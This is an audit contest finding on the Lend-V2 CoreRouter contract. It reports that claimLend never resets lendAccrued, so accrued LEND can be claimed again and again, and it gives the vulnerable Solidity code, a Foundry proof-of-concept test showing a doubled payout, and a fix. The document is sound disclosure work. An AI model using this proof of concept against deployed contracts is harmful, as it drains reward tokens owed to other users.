Boxy Ebony Rattlesnake

High

# Users Can Claim Lend Token Continuously


### Summary
When claiming Lend, there is no mechanism in place to record or deduct the `claimAmount`. As a result, users with accrued Lend can claim an unlimited number of Lend tokens as long as there are Lend Tokens in the contract.

### Root Cause
In above snippet, when claiming Lend, there is no part where the claimAmount is recorded or deducted.
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L402
```solidity
    function claimLend(address[] memory holders, LToken[] memory lTokens, bool borrowers, bool suppliers) external {
        ...
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
                grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
    }
```
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L416
```solidity
    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
        uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

        if (amount > 0 && amount <= lendBalance) {
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
        return amount;
    }
```

### Internal pre-conditions
N/A

### External pre-conditions
N/A

### Attack Path
N/A

### PoC
https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/test/mocks/TestLendAccrual.t.sol
```solidity
    function test_lend_accrues() public {
        // Supply tokens to start accruing LEND
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user1);
        _supply(supplyAmount, user2);

        // Get initial LEND accrued
        uint256 initialLendAccrued = lendStorage.lendAccrued(user1);

        // Advance time and blocks
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Trigger LEND distribution
        vm.prank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);
        address lendToken = lendtroller.getLendAddress();

        coreRouter.claimLend(holders, lTokenArray, false, true);
        console2.log("First  Step      : %e",IERC20(lendToken).balanceOf(user1));

        coreRouter.claimLend(holders, lTokenArray, false, true);
        console2.log("Second Step      : %e",IERC20(lendToken).balanceOf(user1));
        
        // Get final LEND accrued
        uint256 finalLendAccrued = lendStorage.lendAccrued(user1);
        console2.log("finalLendAccrued : %e",finalLendAccrued);
    }
```
forge test --match-test "test_lend_accrue" -vv

Result:
```bash
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_lend_accrues() (gas: 832077)
Logs:
  First  Step      : 5e16
  Second Step      : 1e17
  finalLendAccrued : 5e16
```
### Impact
Malicious users can claim another user's Lend, which poses a danger to the governance role and results in the loss of other users' Lend rewards.

### Mitigation
Consider implementing a deduction of `lendAccrued` after each claim to prevent infinite claims.